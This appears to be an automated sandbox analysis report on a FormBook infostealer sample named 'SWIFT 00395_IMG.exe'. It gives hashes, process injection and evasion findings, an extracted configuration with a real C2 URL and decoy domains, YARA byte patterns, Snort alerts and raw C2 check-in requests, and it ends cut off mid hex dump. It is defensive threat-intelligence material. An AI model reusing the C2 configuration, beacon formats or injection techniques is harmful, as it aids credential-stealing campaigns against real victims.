Loading ...

Play interactive tourEdit tour

Analysis Report SWIFT 00395_IMG.exe

Overview

General Information

Sample Name:SWIFT 00395_IMG.exe
Analysis ID:403611
MD5:f19e6012ff248b9b380bb420080258ce
SHA1:317ee43a8116aae39f3de3279620ecff4ac05b2c
SHA256:069a900aaa6ab5e4b9279cf5bd47e7123c37787f87ac58d6e64383685371ba52
Tags:Formbook
Infos:

Most interesting Screenshot:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Malicious sample detected (through community Yara rule)
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
System process connects to network (likely due to code injection or exploit)
Yara detected FormBook
C2 URLs / IPs found in malware configuration
Initial sample is a PE file and has a suspicious name
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Queues an APC in another process (thread injection)
Sample uses process hollowing technique
Tries to detect virtualization through RDTSC time measurements
Writes to foreign memory regions
Antivirus or Machine Learning detection for unpacked file
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains functionality to shutdown / reboot the system
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Startup

  • System is w10x64
  • SWIFT 00395_IMG.exe (PID: 7004 cmdline: 'C:\Users\user\Desktop\SWIFT 00395_IMG.exe' MD5: F19E6012FF248B9B380BB420080258CE)
    • svchost.exe (PID: 7056 cmdline: 'C:\Users\user\Desktop\SWIFT 00395_IMG.exe' MD5: FA6C268A5B5BDA067A901764D203D433)
      • explorer.exe (PID: 3424 cmdline: MD5: AD5296B280E8F522A8A897C96BAB0E1D)
        • msdt.exe (PID: 4088 cmdline: C:\Windows\SysWOW64\msdt.exe MD5: 7F0C51DBA69B9DE5DDF6AA04CE3A69F4)
          • cmd.exe (PID: 5936 cmdline: /c del 'C:\Windows\SysWOW64\svchost.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)
            • conhost.exe (PID: 5932 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
  • cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.seroungift.com/bbqo/"], "decoy": ["theinfluenstar.com", "1800quilts.com", "sonsuz-muzik.com", "manilowsmodems.com", "amwajcare.com", "eam.email", "cscosmos.com", "tierraovens.com", "goimtv.com", "checks4d.com", "beijig.com", "szzyhjj.com", "huanchunjx.com", "catqq.one", "vendasuascartas.com", "cannatends.com", "cytotecobatpenggugur.com", "centralvalleypartners4youth.com", "entreforma.com", "azhathai.com", "crickescore.com", "thebestcoffeeshops.com", "melacane.com", "sunrisemoving.net", "hauck-aufhauser.com", "katiacontrerash.com", "lavi3dscans.com", "senmec23.com", "photographerleadmachine.com", "snowtreeendeavor.com", "autosbencar.com", "epoform.com", "kissdstudio.com", "bestdamnseamoss.com", "ksdfp-zvhn.xyz", "cabletvlasvegas.com", "xiangyuwenhua.com", "angiesgourmet.com", "centerplans.com", "xyl.finance", "vivilhavemorgenmadnu.com", "jaynefgulbin.com", "californiahiker.com", "hausofzou.com", "velocischooner.com", "boxj66.com", "theboundless.life", "backroadinc.com", "diemapp.com", "whatismychinesename.com", "sebags.com", "stick.plus", "crwebtech.com", "famefabulous.com", "pubgsetpharaoh.com", "northernbackflow.com", "goportjitney.com", "warzonetracker.net", "homesteaddigestemail.com", "carboncuriosity.com", "sunnahaid.com", "makeoverfurn.com", "captisimaginem.com", "puzed.net"]}

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000007.00000002.919033031.0000000003170000.00000004.00000001.sdmpJoeSecurity_FormBookYara detected FormBookJoe Security
    00000007.00000002.919033031.0000000003170000.00000004.00000001.sdmpFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
    • 0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
    • 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
    • 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
    • 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
    • 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
    • 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
    • 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
    • 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
    • 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D
    • 0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4
    • 0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
    00000007.00000002.919033031.0000000003170000.00000004.00000001.sdmpFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group
    • 0x166a9:$sqlite3step: 68 34 1C 7B E1
    • 0x167bc:$sqlite3step: 68 34 1C 7B E1
    • 0x166d8:$sqlite3text: 68 38 2A 90 C5
    • 0x167fd:$sqlite3text: 68 38 2A 90 C5
    • 0x166eb:$sqlite3blob: 68 53 D8 7F 8C
    • 0x16813:$sqlite3blob: 68 53 D8 7F 8C
    00000007.00000002.918989444.0000000003110000.00000040.00000001.sdmpJoeSecurity_FormBookYara detected FormBookJoe Security
      00000007.00000002.918989444.0000000003110000.00000040.00000001.sdmpFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
      • 0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
      • 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
      • 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
      • 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
      • 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
      • 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
      • 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
      • 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
      • 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D
      • 0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4
      • 0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
      Click to see the 16 entries

      Unpacked PEs

      SourceRuleDescriptionAuthorStrings
      1.2.svchost.exe.400000.0.unpackJoeSecurity_FormBookYara detected FormBookJoe Security
        1.2.svchost.exe.400000.0.unpackFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
        • 0x77e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
        • 0x7b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
        • 0x13885:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
        • 0x13371:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
        • 0x13987:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
        • 0x13aff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
        • 0x858a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
        • 0x125ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
        • 0x9302:$sequence_7: 66 89 0C 02 5B 8B E5 5D
        • 0x18977:$sequence_8: 3C 54 74 04 3C 74 75 F4
        • 0x19a1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
        1.2.svchost.exe.400000.0.unpackFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group
        • 0x158a9:$sqlite3step: 68 34 1C 7B E1
        • 0x159bc:$sqlite3step: 68 34 1C 7B E1
        • 0x158d8:$sqlite3text: 68 38 2A 90 C5
        • 0x159fd:$sqlite3text: 68 38 2A 90 C5
        • 0x158eb:$sqlite3blob: 68 53 D8 7F 8C
        • 0x15a13:$sqlite3blob: 68 53 D8 7F 8C
        0.2.SWIFT 00395_IMG.exe.3040000.4.raw.unpackJoeSecurity_FormBookYara detected FormBookJoe Security
          0.2.SWIFT 00395_IMG.exe.3040000.4.raw.unpackFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
          • 0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
          • 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
          • 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
          • 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
          • 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
          • 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
          • 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
          • 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
          • 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D
          • 0x19777:$sequence_8: 3C 54 74 04 3C 74 75 F4
          • 0x1a81a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
          Click to see the 7 entries

          Sigma Overview

          No Sigma rule has matched

          Signature Overview

          Click to jump to signature section

          Show All Signature Results

          AV Detection:

          barindex
          Found malware configurationShow sources
          Source: 00000007.00000002.919033031.0000000003170000.00000004.00000001.sdmpMalware Configuration Extractor: FormBook {"C2 list": ["www.seroungift.com/bbqo/"], "decoy": ["theinfluenstar.com", "1800quilts.com", "sonsuz-muzik.com", "manilowsmodems.com", "amwajcare.com", "eam.email", "cscosmos.com", "tierraovens.com", "goimtv.com", "checks4d.com", "beijig.com", "szzyhjj.com", "huanchunjx.com", "catqq.one", "vendasuascartas.com", "cannatends.com", "cytotecobatpenggugur.com", "centralvalleypartners4youth.com", "entreforma.com", "azhathai.com", "crickescore.com", "thebestcoffeeshops.com", "melacane.com", "sunrisemoving.net", "hauck-aufhauser.com", "katiacontrerash.com", "lavi3dscans.com", "senmec23.com", "photographerleadmachine.com", "snowtreeendeavor.com", "autosbencar.com", "epoform.com", "kissdstudio.com", "bestdamnseamoss.com", "ksdfp-zvhn.xyz", "cabletvlasvegas.com", "xiangyuwenhua.com", "angiesgourmet.com", "centerplans.com", "xyl.finance", "vivilhavemorgenmadnu.com", "jaynefgulbin.com", "californiahiker.com", "hausofzou.com", "velocischooner.com", "boxj66.com", "theboundless.life", "backroadinc.com", "diemapp.com", "whatismychinesename.com", "sebags.com", "stick.plus", "crwebtech.com", "famefabulous.com", "pubgsetpharaoh.com", "northernbackflow.com", "goportjitney.com", "warzonetracker.net", "homesteaddigestemail.com", "carboncuriosity.com", "sunnahaid.com", "makeoverfurn.com", "captisimaginem.com", "puzed.net"]}
          Yara detected FormBookShow sources
          Source: Yara matchFile source: 00000007.00000002.919033031.0000000003170000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000002.918989444.0000000003110000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000002.711497215.0000000000D60000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000002.711385222.0000000000D30000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.665787832.0000000003040000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0.2.SWIFT 00395_IMG.exe.3040000.4.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0.2.SWIFT 00395_IMG.exe.3040000.4.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Machine Learning detection for sampleShow sources
          Source: SWIFT 00395_IMG.exeJoe Sandbox ML: detected
          Source: 1.2.svchost.exe.400000.0.unpackAvira: Label: TR/Crypt.ZPACK.Gen
          Source: 0.2.SWIFT 00395_IMG.exe.3040000.4.unpackAvira: Label: TR/Crypt.ZPACK.Gen
          Source: SWIFT 00395_IMG.exeStatic PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
          Source: SWIFT 00395_IMG.exeStatic PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
          Source: Binary string: wscui.pdbUGP source: explorer.exe, 00000004.00000000.688349508.0000000005A00000.00000002.00000001.sdmp
          Source: Binary string: msdt.pdbGCTL source: svchost.exe, 00000001.00000003.709271951.0000000005400000.00000004.00000001.sdmp
          Source: Binary string: wntdll.pdbUGP source: SWIFT 00395_IMG.exe, 00000000.00000003.657563874.0000000003200000.00000004.00000001.sdmp, svchost.exe, 00000001.00000002.712731644.000000000391F000.00000040.00000001.sdmp, msdt.exe, 00000007.00000002.919390874.0000000004EB0000.00000040.00000001.sdmp
          Source: Binary string: wntdll.pdb source: SWIFT 00395_IMG.exe, 00000000.00000003.657563874.0000000003200000.00000004.00000001.sdmp, svchost.exe, msdt.exe
          Source: Binary string: svchost.pdb source: msdt.exe, 00000007.00000002.920789443.00000000053E7000.00000004.00000001.sdmp
          Source: Binary string: svchost.pdbUGP source: msdt.exe, 00000007.00000002.920789443.00000000053E7000.00000004.00000001.sdmp
          Source: Binary string: msdt.pdb source: svchost.exe, 00000001.00000003.709271951.0000000005400000.00000004.00000001.sdmp
          Source: Binary string: wscui.pdb source: explorer.exe, 00000004.00000000.688349508.0000000005A00000.00000002.00000001.sdmp
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeCode function: 0_2_004059F0 CloseHandle,GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,0_2_004059F0
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeCode function: 0_2_0040659C FindFirstFileA,FindClose,0_2_0040659C
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeCode function: 0_2_004027A1 FindFirstFileA,0_2_004027A1
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeFile opened: C:\Users\user\AppData\Local\Temp\nsuD98F.tmpJump to behavior
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeFile opened: C:\Users\userJump to behavior
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeFile opened: C:\Users\user\AppData\Local\Temp\u2xvckwaqakiJump to behavior
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeFile opened: C:\Users\user\AppData\Local\Temp\jckq5d4hbdkbi4n7hsrJump to behavior
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeFile opened: C:\Users\user\Desktop\desktop.iniJump to behavior
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeFile opened: C:\Users\user\Desktop\SWIFT 00395_IMG.exeJump to behavior
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 4x nop then pop edi1_2_0040C3BE
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 4x nop then pop edi7_2_00A6C3BE

          Networking:

          barindex
          Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)Show sources
          Source: TrafficSnort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49754 -> 45.192.92.174:80
          Source: TrafficSnort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49754 -> 45.192.92.174:80
          Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49754 -> 45.192.92.174:80
          Source: TrafficSnort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49756 -> 180.150.102.39:80
          Source: TrafficSnort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49756 -> 180.150.102.39:80
          Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49756 -> 180.150.102.39:80
          Source: TrafficSnort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49762 -> 34.102.136.180:80
          Source: TrafficSnort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49762 -> 34.102.136.180:80
          Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49762 -> 34.102.136.180:80
          Source: TrafficSnort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49767 -> 34.102.136.180:80
          Source: TrafficSnort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49767 -> 34.102.136.180:80
          Source: TrafficSnort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49767 -> 34.102.136.180:80
          C2 URLs / IPs found in malware configurationShow sources
          Source: Malware configuration extractorURLs: www.seroungift.com/bbqo/
          Source: global trafficHTTP traffic detected: GET /bbqo/?Rb=M42dVLz8&XB64XbO8=DAKSku2UP9w0lKXY+LhytUUwyem6IfHDB7QSSdTpSALkSldV/1o9CxHuilJYCYQ/V6tP HTTP/1.1Host: www.thebestcoffeeshops.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /bbqo/?XB64XbO8=trcmmZYAhW1z3xFVKWe7fHl88qCucLFuCi4mCu0pcnYYHjBJZxUhua0G6TwplXUzf90o&Rb=M42dVLz8 HTTP/1.1Host: www.szzyhjj.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /bbqo/?Rb=M42dVLz8&XB64XbO8=XLcvqqeS1lhWgJP77JDDmgANyyJOPhQvBMhs62kpQnu2foMme1WiKofFk1rRWdP6dmuL HTTP/1.1Host: www.puzed.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /bbqo/?XB64XbO8=gW47Pg8Fo6iIv2ud/64/p2+3hov1DZqi/pO7CWKW8hPHr2u5wHbVWSaPXrsCIEHv8cct&Rb=M42dVLz8 HTTP/1.1Host: www.makeoverfurn.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /bbqo/?Rb=M42dVLz8&XB64XbO8=5cE52+XUn5YOw4VrTBFj5Yjg6Bdl2wnKeIdlDky+FVUstW8yNKK8e4wg1M4nQ/djAnNx HTTP/1.1Host: www.theboundless.lifeConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /bbqo/?Rb=M42dVLz8&XB64XbO8=40XENB+TcZexP2uUOo8nZZ5shhtfu5CrxuaTgdlTMM4sGAobqBEK7c7NHXloi3y0yuoT HTTP/1.1Host: www.northernbackflow.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /bbqo/?XB64XbO8=+83Ad9ys8+FMkuQHLQbEUx121DE/6nLvKA5vTUyMQ3D5zQ4YR59KLRowGPLGetqdy+rw&Rb=M42dVLz8 HTTP/1.1Host: www.crickescore.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /bbqo/?XB64XbO8=/Pkgzq8QL5NAcxZCkuSTp6cwj4lDt7P1w6jr1cEe5khMYSySzdqjBreEbEJxEDRHbmyL&Rb=M42dVLz8 HTTP/1.1Host: www.1800quilts.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /bbqo/?Rb=M42dVLz8&XB64XbO8=OyJvVzFrogId2JmOPk1mxNUaVNmw8U6tV5/SqSy/NPm0fO+yJiD5oYjbB5t0rhfZdAPi HTTP/1.1Host: www.xiangyuwenhua.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /bbqo/?XB64XbO8=GhdvojHCfMDRUam/4qOkhbREqNoCRj0dcDXGN06f9NKfhUBJ97Or2+k+J6GDFZvtQIxr&Rb=M42dVLz8 HTTP/1.1Host: www.seroungift.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /bbqo/?Rb=M42dVLz8&XB64XbO8=YYVXHHveBgSLNZYesnT1AghiVl/Xx3BIBb/tObWwW6qpUDZVV8sOQ19Z9K/TOFaASXJK HTTP/1.1Host: www.carboncuriosity.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: Joe Sandbox ViewIP Address: 85.233.160.23 85.233.160.23
          Source: Joe Sandbox ViewIP Address: 184.168.131.241 184.168.131.241
          Source: Joe Sandbox ViewASN Name: AMAZON-02US AMAZON-02US
          Source: Joe Sandbox ViewASN Name: DXTL-HKDXTLTseungKwanOServiceHK DXTL-HKDXTLTseungKwanOServiceHK
          Source: global trafficHTTP traffic detected: GET /bbqo/?Rb=M42dVLz8&XB64XbO8=DAKSku2UP9w0lKXY+LhytUUwyem6IfHDB7QSSdTpSALkSldV/1o9CxHuilJYCYQ/V6tP HTTP/1.1Host: www.thebestcoffeeshops.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /bbqo/?XB64XbO8=trcmmZYAhW1z3xFVKWe7fHl88qCucLFuCi4mCu0pcnYYHjBJZxUhua0G6TwplXUzf90o&Rb=M42dVLz8 HTTP/1.1Host: www.szzyhjj.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /bbqo/?Rb=M42dVLz8&XB64XbO8=XLcvqqeS1lhWgJP77JDDmgANyyJOPhQvBMhs62kpQnu2foMme1WiKofFk1rRWdP6dmuL HTTP/1.1Host: www.puzed.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /bbqo/?XB64XbO8=gW47Pg8Fo6iIv2ud/64/p2+3hov1DZqi/pO7CWKW8hPHr2u5wHbVWSaPXrsCIEHv8cct&Rb=M42dVLz8 HTTP/1.1Host: www.makeoverfurn.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /bbqo/?Rb=M42dVLz8&XB64XbO8=5cE52+XUn5YOw4VrTBFj5Yjg6Bdl2wnKeIdlDky+FVUstW8yNKK8e4wg1M4nQ/djAnNx HTTP/1.1Host: www.theboundless.lifeConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /bbqo/?Rb=M42dVLz8&XB64XbO8=40XENB+TcZexP2uUOo8nZZ5shhtfu5CrxuaTgdlTMM4sGAobqBEK7c7NHXloi3y0yuoT HTTP/1.1Host: www.northernbackflow.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /bbqo/?XB64XbO8=+83Ad9ys8+FMkuQHLQbEUx121DE/6nLvKA5vTUyMQ3D5zQ4YR59KLRowGPLGetqdy+rw&Rb=M42dVLz8 HTTP/1.1Host: www.crickescore.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /bbqo/?XB64XbO8=/Pkgzq8QL5NAcxZCkuSTp6cwj4lDt7P1w6jr1cEe5khMYSySzdqjBreEbEJxEDRHbmyL&Rb=M42dVLz8 HTTP/1.1Host: www.1800quilts.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /bbqo/?Rb=M42dVLz8&XB64XbO8=OyJvVzFrogId2JmOPk1mxNUaVNmw8U6tV5/SqSy/NPm0fO+yJiD5oYjbB5t0rhfZdAPi HTTP/1.1Host: www.xiangyuwenhua.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /bbqo/?XB64XbO8=GhdvojHCfMDRUam/4qOkhbREqNoCRj0dcDXGN06f9NKfhUBJ97Or2+k+J6GDFZvtQIxr&Rb=M42dVLz8 HTTP/1.1Host: www.seroungift.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /bbqo/?Rb=M42dVLz8&XB64XbO8=YYVXHHveBgSLNZYesnT1AghiVl/Xx3BIBb/tObWwW6qpUDZVV8sOQ19Z9K/TOFaASXJK HTTP/1.1Host: www.carboncuriosity.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: unknownDNS traffic detected: queries for: www.thebestcoffeeshops.com
          Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 04 May 2021 06:54:49 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeServer: ApacheVary: accept-language,accept-charsetAccept-Ranges: bytesContent-Language: enExpires: Tue, 04 May 2021 06:54:49 GMTData Raw: 33 64 63 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 6d 77 40 6d 61 72 63 75 73 77 6f 6c 66 66 64 65 73 69 67 6e 2e 63 6f 6d 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0a 0a 3c 2f 70 3e 0a 3c 70 3e 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 6d 77 40 6d 61 72 63 75 73 77 6f 6c 66 66 64 65 73 69 67 6e 